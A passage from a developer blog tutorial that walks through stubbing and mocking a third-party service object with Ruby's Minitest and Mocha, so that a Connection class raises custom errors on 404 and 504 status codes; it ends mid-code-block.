&lt;p&gt;I’d like to be able to test that I can raise specific errors if either &lt;code class="language-plaintext highlighter-rouge"&gt;connection.status&lt;/code&gt; or &lt;code class="language-plaintext highlighter-rouge"&gt;third_party_service.status&lt;/code&gt; is not &lt;code class="language-plaintext highlighter-rouge"&gt;2xx&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Here’s my sample &lt;code class="language-plaintext highlighter-rouge"&gt;Connection&lt;/code&gt; class, where I’ve hard-coded the 200 status:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Connection&lt;/span&gt;

  &lt;span class="nb"&gt;attr_reader&lt;/span&gt; &lt;span class="ss"&gt;:status_code&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt;
    &lt;span class="vi"&gt;@status_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_service_status&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_service_status&lt;/span&gt;
    &lt;span class="mi"&gt;200&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;connect_to_external_service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status_code&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And here’s the test that shows all is groovy:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ConnectionTest&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;Minitest&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Test&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_initializes_with_response_code&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;
    &lt;span class="n"&gt;assert_equal&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status_code&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, lets say I’ve got this third party service. Since I’m testing this all locally, and I want to square away mocking and stubbing anyway, I’m getting real fancy and I’m putting this in the same file as my &lt;code class="language-plaintext highlighter-rouge"&gt;Connection&lt;/code&gt; class:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Connection&lt;/span&gt;

  &lt;span class="nb"&gt;attr_reader&lt;/span&gt; &lt;span class="ss"&gt;:status_code&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt;
    &lt;span class="vi"&gt;@status_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_service_status&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_service_status&lt;/span&gt;
    &lt;span class="mi"&gt;200&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;


  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;connect_to_external_service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status_code&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="c1"&gt;# this is my third-party class that `Connection` might have dependencies upon&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Service&lt;/span&gt;
  &lt;span class="nb"&gt;attr_reader&lt;/span&gt; &lt;span class="ss"&gt;:status_code&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt;
    &lt;span class="vi"&gt;@status_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_service_status&lt;/span&gt;
    &lt;span class="c1"&gt;# status_code would be 200, 504, 404, etc&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_service_status&lt;/span&gt;
    &lt;span class="c1"&gt;# do complicated stuff here to get status code&lt;/span&gt;
    &lt;span class="c1"&gt;# return a status code&lt;/span&gt;
    &lt;span class="mi"&gt;200&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Inside my test, when I call &lt;code class="language-plaintext highlighter-rouge"&gt;Connection.new.connect_to_external_service()&lt;/code&gt;, I need to pass in a service object, like so:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;srvc = Service.new
conn = Connection.new

conn.connect_to_external_service(srvc)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And I’m off to the races. This is where I want to start raising exceptions if either class returns errors, and where stubbing and mocking comes to be very valuable.&lt;/p&gt;

&lt;p&gt;So, this test would pass:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ConnectionTest&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;Minitest&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Test&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_connection_default_status_code_is_200&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;
    &lt;span class="n"&gt;assert_equal&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status_code&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_external_service_default_status_code_is_200&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;
    &lt;span class="n"&gt;srvc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;

    &lt;span class="n"&gt;assert_equal&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect_to_external_service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But I want to make &lt;code class="language-plaintext highlighter-rouge"&gt;srvc.status_code&lt;/code&gt; be something besides &lt;code class="language-plaintext highlighter-rouge"&gt;200&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Lets figure out how to make &lt;code class="language-plaintext highlighter-rouge"&gt;srvc.status_code&lt;/code&gt; be 404, and maybe in the process remove the dependency upon the &lt;code class="language-plaintext highlighter-rouge"&gt;Service&lt;/code&gt; class all together.&lt;/p&gt;

&lt;h1 id="stubbing-the-service-object-to-force-errors"&gt;Stubbing the service object to force errors&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://github.com/josh-works/exception_practice/tree/dd54c0f14e3b8c5c8dff9bd1666fea8686ed718c"&gt;Current github commit&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Right now, I want to run a test like this:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_raises_error_when_service_returns_4xx_no_mocks&lt;/span&gt;
  &lt;span class="n"&gt;srvc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;
  &lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;
  &lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;

  &lt;span class="n"&gt;assert_raises&lt;/span&gt; &lt;span class="no"&gt;Connection&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ServiceNotFound&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect_to_external_service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This won’t work because I don’t have an &lt;code class="language-plaintext highlighter-rouge"&gt;attr_writer&lt;/code&gt; or &lt;code class="language-plaintext highlighter-rouge"&gt;attr_accessor&lt;/code&gt; for the &lt;code class="language-plaintext highlighter-rouge"&gt;Service&lt;/code&gt; instance variable of &lt;code class="language-plaintext highlighter-rouge"&gt;status_code&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This is the error I get when I run the test:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;1) Error:
ConnectionTest#test_raises_error_when_service_returns_4xx_no_mocks:
NoMethodError: undefined method `status_code=' for #&amp;lt;Service:0x00007f81ce3c34d8 @status_code=200&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And this makes sense, right? &lt;em&gt;I cannot assume ownership of the third party service&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Here’s how I can stub out the method as I want it, using &lt;code class="language-plaintext highlighter-rouge"&gt;mocha&lt;/code&gt;’s tooling for stubbing:&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;gem install mocha&lt;/code&gt;, and include the following front-matter in the test file:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;'./lib/connection'&lt;/span&gt;
&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;'minitest/autorun'&lt;/span&gt;
&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;'mocha/minitest'&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ConnectionTest&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;Minitest&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Test&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_raise_error_when_service_returns_4xx_using_stubs&lt;/span&gt;
    &lt;span class="n"&gt;serv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;
    &lt;span class="c1"&gt;# instantiating a new Service object. if I call&lt;/span&gt;
    &lt;span class="c1"&gt;# serv.status_code, it would return 200&lt;/span&gt;
    &lt;span class="no"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;any_instance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stubs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:status_code&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;returns&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# override the method to always return 404&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;

    &lt;span class="n"&gt;assert_raises&lt;/span&gt; &lt;span class="no"&gt;Connection&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ServiceNotFound&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
      &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect_to_external_service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The magic is &lt;code class="language-plaintext highlighter-rouge"&gt;Service.any_instance.stubs(:status_code).returns(404)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Stubbing modifies an existing object to coerce it into giving a certain output.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This is cool, but nothing revelatory to me. I’ve been working with stubs for a while. What finally clicked for me was the difference between &lt;em&gt;mocks&lt;/em&gt; and stubs.&lt;/p&gt;

&lt;p&gt;The above test still requires access to a &lt;code class="language-plaintext highlighter-rouge"&gt;Service&lt;/code&gt; class. If Service doesn’t exist, or requires any setup that I didn’t pass it, I’m out of luck and will need to do &lt;em&gt;even more&lt;/em&gt; test setup.&lt;/p&gt;

&lt;p&gt;Enter mocks.&lt;/p&gt;

&lt;h1 id="mocking-the-service-object"&gt;Mocking the service object&lt;/h1&gt;

&lt;p&gt;I want to remove &lt;em&gt;all&lt;/em&gt; dependencies on &lt;code class="language-plaintext highlighter-rouge"&gt;Service&lt;/code&gt;. I want to create a service object in my test, assign it variables, and use them in my &lt;code class="language-plaintext highlighter-rouge"&gt;Connection&lt;/code&gt; class, all without &lt;code class="language-plaintext highlighter-rouge"&gt;Connection&lt;/code&gt; knowing anything about &lt;code class="language-plaintext highlighter-rouge"&gt;Service&lt;/code&gt;, or indeed, &lt;code class="language-plaintext highlighter-rouge"&gt;Service&lt;/code&gt; knowing anything about itself.&lt;/p&gt;

&lt;p&gt;We’ve got &lt;code class="language-plaintext highlighter-rouge"&gt;Connection&lt;/code&gt; under test here, remember. Not &lt;code class="language-plaintext highlighter-rouge"&gt;Service&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Here’s the commit for the following code: &lt;a href="https://github.com/josh-works/exception_practice/tree/6b7014cb0c2bdfefe5a7b0eae633e2f2499d4ffb"&gt;6b7014c&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I’ll make &lt;code class="language-plaintext highlighter-rouge"&gt;srvc&lt;/code&gt; a &lt;code class="language-plaintext highlighter-rouge"&gt;stub&lt;/code&gt;, which I can now make it do &lt;em&gt;anything I want&lt;/em&gt;:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_rais_error_when_service_returns_4xx_using_mocks&lt;/span&gt;
  &lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;
  &lt;span class="n"&gt;srvc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;stub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"srvc is now a stub."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="c1"&gt;# srvc.class == Mocha::Mock&lt;/span&gt;

  &lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stubs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:status_code&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;returns&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="n"&gt;assert_raises&lt;/span&gt; &lt;span class="no"&gt;Connection&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ServiceNotFound&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect_to_external_service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;so I no longer have a &lt;code class="language-plaintext highlighter-rouge"&gt;Service&lt;/code&gt; object. If I call &lt;code class="language-plaintext highlighter-rouge"&gt;srvc.class&lt;/code&gt; on that stubbed object, it’s &lt;code class="language-plaintext highlighter-rouge"&gt;Mocha::Mock&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I then assign it a method of &lt;code class="language-plaintext highlighter-rouge"&gt;.status_code&lt;/code&gt;, and tell it to return &lt;code class="language-plaintext highlighter-rouge"&gt;404&lt;/code&gt;. Boom. Done.&lt;/p&gt;

&lt;p&gt;So, I’m no longer dependent upon the &lt;code class="language-plaintext highlighter-rouge"&gt;Service&lt;/code&gt; model for any of my &lt;code class="language-plaintext highlighter-rouge"&gt;Connection&lt;/code&gt; testing. I’d say thats a win.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/josh-works/exception_practice/blob/98850fbf764c974724fea0f280379cc07918eba9/test/connection_test.rb"&gt;Here’s the commit for making full use of mocks&lt;/a&gt;&lt;/p&gt;

&lt;h4 id="youll-never-not-necessarily-see-the-word-mock-in-your-code-even-when-using-mocks"&gt;You’ll &lt;strike&gt;never&lt;/strike&gt; not necessarily see the word ‘mock’ in your code, even when using mocks.&lt;/h4&gt;

&lt;p&gt;I’m not the sharpest tool in the shed, so I do a lot of pattern matching. Articles about stubbing always had the word ‘stub’ being scattered about the code. That made it easy to see when a stub was being used.&lt;/p&gt;

&lt;p&gt;Mocks, though, don’t necessarily get called in the code. Traditionally, you could do &lt;code class="language-plaintext highlighter-rouge"&gt;obj = stub('object')&lt;/code&gt;, and get your stubbed object that way. Now (I think this is more recent) you can make it a bit more explicit and call &lt;code class="language-plaintext highlighter-rouge"&gt;obj = mock('object')&lt;/code&gt;, and you’ll be on your way.&lt;/p&gt;

&lt;p&gt;Either way, &lt;code class="language-plaintext highlighter-rouge"&gt;mock()&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;stub()&lt;/code&gt; are interchangeable:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;mocked_object&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'mocked_object'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;stubbed_object&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;stub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'stubbed_object'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;gives:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&amp;gt; mocked_object
=&amp;gt; #&amp;lt;Mock:mocked_object&amp;gt;
&amp;gt; stubbed_object
=&amp;gt; #&amp;lt;Mock:stubbed_object&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;So, if you see &lt;code class="language-plaintext highlighter-rouge"&gt;foo = mock()&lt;/code&gt;, it’s a mocked object, but if you see &lt;code class="language-plaintext highlighter-rouge"&gt;foo = stub()&lt;/code&gt;, it’s &lt;em&gt;also&lt;/em&gt; a mocked object.&lt;/p&gt;

&lt;h1 id="exceptions"&gt;Exceptions&lt;/h1&gt;

&lt;p&gt;We’ve covered mocking and stubbing, and are ready to dig into exception raising and handling.&lt;/p&gt;

&lt;p&gt;Lets say my third party service goes down (404) or times out (504). I’d like to raise these descriptive errors, and do something with it.&lt;/p&gt;

&lt;p&gt;This is the test I could create:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_raise_service_timeout_if_service_returns_504&lt;/span&gt;
  &lt;span class="vi"&gt;@srv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stubs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:status_code&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;returns&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;504&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="n"&gt;assert_raises&lt;/span&gt; &lt;span class="no"&gt;Connection&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ServiceTimeOut&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="vi"&gt;@conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect_to_external_service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="vi"&gt;@srv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And I can update my &lt;code class="language-plaintext highlighter-rouge"&gt;Connection&lt;/code&gt; class:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;connect_to_external_service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="no"&gt;ServiceNotFound&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="no"&gt;ServiceTimeOut&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;504&lt;/span&gt;
    &lt;span class="c1"&gt;# do other stuff&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status_code&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This won’t quite pass - for reasons I’m still exploring, we cannot raise a &lt;code class="language-plaintext highlighter-rouge"&gt;ServiceTimeOut&lt;/code&gt; or &lt;code class="language-plaintext highlighter-rouge"&gt;ServiceNotFound&lt;/code&gt; error unless these classes are included in the class:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="p"&gt;.&lt;/span&gt;
  &lt;span class="nf"&gt;.&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;connect_to_external_service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="no"&gt;ServiceNotFound&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="no"&gt;ServiceTimeOut&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;srvc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;504&lt;/span&gt;
    &lt;span class="c1"&gt;# do other stuff&lt;/span&gt;
